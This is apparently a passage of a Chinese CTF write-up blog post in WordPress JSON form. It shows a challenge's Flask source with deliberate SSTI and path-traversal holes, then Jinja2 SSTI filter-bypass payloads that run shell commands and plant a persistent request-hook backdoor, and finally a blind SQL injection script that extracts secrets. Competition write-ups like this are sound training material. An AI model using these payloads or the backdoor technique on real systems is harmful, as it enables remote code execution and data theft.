methods=[\"GET\", \"POST\"])<br>def register():<br> &nbsp;  if request.method == \"POST\":<br> &nbsp; &nbsp; &nbsp;  username = (request.form.get(\"username\") or \"\")<br> &nbsp; &nbsp; &nbsp;  password = request.form.get(\"password\") or \"\"<br> &nbsp; &nbsp; &nbsp;  if not username or not password:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return render_template(\"register.html\", error=\"\u7528\u6237\u540d\u548c\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a\")<br> &nbsp; &nbsp; &nbsp;  if username in USERS:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return render_template(\"register.html\", error=\"\u7528\u6237\u540d\u5df2\u5b58\u5728\")<br> &nbsp; &nbsp; &nbsp;  USERS[username] = {\"password\": password}<br> &nbsp; &nbsp; &nbsp;  session[\"user\"] = username<br> &nbsp; &nbsp; &nbsp;  return redirect(url_for(\"profile\"))<br> &nbsp;  return render_template(\"register.html\")<br>\u200b<br>\u200b<br>@app.route(\"\/login\", methods=[\"GET\", \"POST\"])<br>def login():<br> &nbsp;  if request.method == \"POST\":<br> &nbsp; &nbsp; &nbsp;  username = (request.form.get(\"username\") or \"\").strip()<br> &nbsp; &nbsp; &nbsp;  password = request.form.get(\"password\") or \"\"<br> &nbsp; &nbsp; &nbsp;  user = USERS.get(username)<br> &nbsp; &nbsp; &nbsp;  if not user or user.get(\"password\") != password:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return render_template(\"login.html\", error=\"\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\")<br> &nbsp; &nbsp; &nbsp;  session[\"user\"] = username<br> &nbsp; &nbsp; &nbsp;  return redirect(url_for(\"profile\"))<br> &nbsp;  return render_template(\"login.html\")<br>\u200b<br>\u200b<br>@app.route(\"\/logout\")<br>def logout():<br> &nbsp;  session.clear()<br> &nbsp;  return redirect(url_for(\"index\"))<br>\u200b<br>\u200b<br>@app.route(\"\/profile\")<br>def profile():<br> &nbsp;  user = session.get(\"user\")<br> &nbsp;  if not user:<br> &nbsp; &nbsp; &nbsp;  return redirect(url_for(\"login\"))<br> &nbsp;  name_raw = request.args.get(\"name\", user)<br> &nbsp; &nbsp;<br> &nbsp;  try:<br> &nbsp; &nbsp; &nbsp;  filtered = waf(name_raw)<br> &nbsp; &nbsp; &nbsp;  tmpl = f\"\u6b22\u8fce\uff0c{filtered}\"<br> &nbsp; &nbsp; &nbsp;  rendered_snippet = render_template_string(tmpl)<br> &nbsp; &nbsp; &nbsp;  error_msg = None<br> &nbsp;  except Exception as e:<br> &nbsp; &nbsp; &nbsp;  rendered_snippet = \"\"<br> &nbsp; &nbsp; &nbsp;  error_msg = f\"\u6e32\u67d3\u9519\u8bef: {e}\"<br> &nbsp;  return render_template(<br> &nbsp; &nbsp; &nbsp;  \"profile.html\",<br> &nbsp; &nbsp; &nbsp;  content=rendered_snippet,<br> &nbsp; &nbsp; &nbsp;  name_input=name_raw,<br> &nbsp; &nbsp; &nbsp;  user=user,<br> &nbsp; &nbsp; &nbsp;  error_msg=error_msg,<br> &nbsp;  )<br>\u200b<br>\u200b<br>@app.route(\"\/read\", methods=[\"GET\", \"POST\"])<br>def read_file():<br> &nbsp;  user = session.get(\"user\")<br> &nbsp;  if not user:<br> &nbsp; &nbsp; &nbsp;  return redirect(url_for(\"login\"))<br>\u200b<br> &nbsp;  base_dir = os.path.join(os.path.dirname(__file__), \"story\")<br> &nbsp;  try:<br> &nbsp; &nbsp; &nbsp;  entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])<br> &nbsp;  except FileNotFoundError:<br> &nbsp; &nbsp; &nbsp;  entries = []<br>\u200b<br> &nbsp;  filename = \"\"<br> &nbsp;  if request.method == \"POST\":<br> &nbsp; &nbsp; &nbsp;  filename = request.form.get(\"filename\") or \"\"<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  filename = request.args.get(\"filename\") or \"\"<br>\u200b<br> &nbsp;  content = None<br> &nbsp;  error = None<br>\u200b<br> &nbsp;  if filename:<br> &nbsp; &nbsp; &nbsp;  sanitized = filename.replace(\"..\/\", \"\")<br> &nbsp; &nbsp; &nbsp;  target_path = os.path.join(base_dir, sanitized)<br> &nbsp; &nbsp; &nbsp;  if not os.path.isfile(target_path):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  error = f\"\u6587\u4ef6\u4e0d\u5b58\u5728: {sanitized}\"<br> &nbsp; &nbsp; &nbsp;  else:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  with open(target_path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  content = f.read()<br>\u200b<br> &nbsp;  return render_template(\"read.html\", files=entries, content=content, filename=filename, error=error, user=user)<br>\u200b<br>\u200b<br>if __name__ == \"__main__\":<br> &nbsp;  app.run(host=\"0.0.0.0\", port=8080, debug=False)<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5c1d\u8bd5\u6253\u4e00\u4e0bssti ?name={{7*7}}\u51fa\u676549<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp; &nbsp; &nbsp;  waf = [\"__class__\", \"__base__\", \"__subclasses__\", \"__globals__\", \"import\",\"self\",\"session\",\"blueprints\",\"get_debug_flag\",\"json\",\"get_template_attribute\",\"render_template\",\"render_template_string\",\"abort\",\"redirect\",\"make_response\",\"Response\",\"stream_with_context\",\"flash\",\"escape\",\"Markup\",\"MarkupSafe\",\"tojson\",\"datetime\",\"cycler\",\"joiner\",\"namespace\",\"lipsum\"]<br> &nbsp; &nbsp; &nbsp;  for w in waf:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if w in payload:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  raise ValueError(f\"waf\")<\/pre>\n\n\n\n<p>\u662fssti\uff0c\u53ea\u8981\u7ed5\u8fc7\u8fd9\u4e2a\u6f0f\u6d1e\u76f4\u63a5\u6253ssti<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{(()[\"__cl\"+\"ass__\"][\"__b\"+\"ase__\"][\"__subcl\"+\"asses__\"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec(\"__imp\"+\"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp\"+\"ort__('os').popen(__imp\"+\"ort__('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\")}}<\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u6309\u7167\u903b\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">profile?name={{config[\"_\"\"_c\"\"lass__\"][\"__ba\"\"se__\"][\"__init__\"][\"__g\"\"lobals__\"]['os'].popen('ls').read()}}\u76f4\u63a5\u53bb\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u5c31\u884c\uff0c\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6ca1\u6253\u901a<\/pre>\n\n\n\n<p>\u6216\u8005\u53bb\u770b\u5b98\u65b9wp<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Sequal No Uta<\/h3>\n\n\n\n<p>\u70b9\u8fdb\u53bb\u5c31\u662f\u4e2a\u67e5\u8be2\u9875\u9762<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">admin'%09and%091=1--+<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u672a\u627e\u5230\u7528\u6237\u6216\u5df2\u505c\u7528<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">?name=admin'%09and%091=1-- <\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8be5\u7528\u6237\u5b58\u5728\u4e14\u6d3b\u8dc3<\/pre>\n\n\n\n<p>\u5b58\u5728sql\u6ce8\u5165<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import requests<br>import string<br>\u200b<br>url = \"http:\/\/80-48f73a1b-ee6f-4a74-b4b0-be26c06401cd.challenge.ctfplus.cn\/check.php\"<br>charset = sorted(string.ascii_letters + string.digits + \"._{}-,\")<br>result = \"\"<br>pos = 1<br>\u200b<br>def test_payload(base_url, payload):<br> &nbsp;  payload = payload.replace(\" \", \"%0a\")<br> &nbsp;  respoen = requests.get(url, params=payload)<br> &nbsp;  if '\u8be5\u7528\u6237\u5b58\u5728\u4e14\u6d3b\u8dc3' in respoen.text:<br> &nbsp; &nbsp; &nbsp;  return True<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  return False<br>while True:<br> &nbsp;  left,right = 0,len(charset)-1<br> &nbsp;  while left &lt; right :<br> &nbsp; &nbsp; &nbsp;  mid = (right + left)\/\/2<br> &nbsp; &nbsp; &nbsp;  ch = charset[mid]<br>\u200b<br> &nbsp; &nbsp; &nbsp;  payload = f\"name=admin' AND substr((select group_concat(secret,',') FROM users),{pos},1)&gt;'{ch}'-- \"<br> &nbsp; &nbsp; &nbsp;  if test_payload(url,payload) :<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  left = mid + 1<br> &nbsp; &nbsp; &nbsp;  else:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  right = mid<br> &nbsp;  if left &lt; len(charset):<br> &nbsp; &nbsp; &nbsp;  result = result + charset[left]<br> &nbsp; &nbsp; &nbsp;  print(f\"\u5f53\u524d\u7ed3\u679c\u4e3a{result}\")<br> &nbsp; &nbsp; &nbsp;  pos += 1<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  print(\"\u7ed3\u675f\")<br> &nbsp; &nbsp; &nbsp;  break<br>print(\"[*] \u679a\u4e3e\u5b8c\u6210:\", result)<br>\u8001\u957f\u65f6\u95f4\u6ca1\u6709\u6253\u811a\u672c\u4e86\uff0c\u7a0d\u5fae\u6253\u4e00\u4e0b<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><\/h3>\n","protected":false},"excerpt":{"rendered":"<p>\u6781\u5ba2\u5927\u6311\u62182023-web-unsign \u6765\u7b7e\u4e2a\u5230\u5427\u5148 &lt;?phphighlight_file(__FI [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-167","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=167"}],"version-history":[{"count":4,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167\/revisions"}],"predecessor-version":[{"id":208,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/167\/revisions\/208"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=167"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}